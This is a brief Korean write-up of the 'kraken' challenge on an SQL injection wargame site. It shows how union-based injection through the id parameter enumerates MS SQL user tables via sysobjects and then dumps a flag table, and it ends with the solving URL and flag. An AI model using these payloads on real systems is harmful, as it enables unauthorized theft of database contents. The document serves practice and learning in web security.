kraken
Last updated
Last updated
첫 화면이다.
MS SQL에선 sysobjects 구문을 통해 테이블 명을 조회할 수 있다.
아래와 같이 조건절에 type='U'
를 삽입해 유저가 사용중인 테이블만 반환한다.
id에 ' union select name from sysobjects where xtype='U' and name like 'flag_%'--
를 넣은 셈이다.
테이블 명을 알아냈으니 해당 테이블에서 값을 빼온다.
id에 ' union select * from flag_ccdfe62b--
를 넣은 셈이다.
최종적으로, https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?pw=FLAG{a0819fc56beae985bac7d175c974cd27} 에 접속하면 문제가 풀린다.